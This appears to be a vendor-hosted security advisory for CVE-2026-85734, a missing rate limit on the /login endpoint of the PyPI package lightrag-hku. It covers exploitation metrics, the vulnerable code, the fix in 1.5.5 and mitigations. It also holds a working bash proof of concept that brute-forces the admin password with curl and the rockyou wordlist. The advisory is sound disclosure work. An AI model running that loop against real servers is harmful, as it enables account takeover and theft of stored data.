CVE-2026-85734 is a critical-severity (CVSS 9.1) CWE-307 vulnerability in lightrag-hku. A fix is available for lightrag-hku — see the affected versions and patch details below.
LightRAG: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-85734.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-85734 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
lightrag-hkuReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
Details
# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
if not auth_handler.verify_password(username, form_data.password):
raise HTTPException(status_code=401, detail="Incorrect credentials")
# No: rate limit / lockout / backoff / CAPTCHA / attempt counter
A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.
PoC
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://<TARGET>:9621/login \
-d "username=admin&password=${pass}")
[ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt
Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | lightrag-hku | all versions | 1.5.5pip install --upgrade 'lightrag-hku==1.5.5' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lightrag-hku, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update lightrag-hku to 1.5.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-85734 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-85734 in your dependencies?
Find it across PyPI, including transitive dependencies.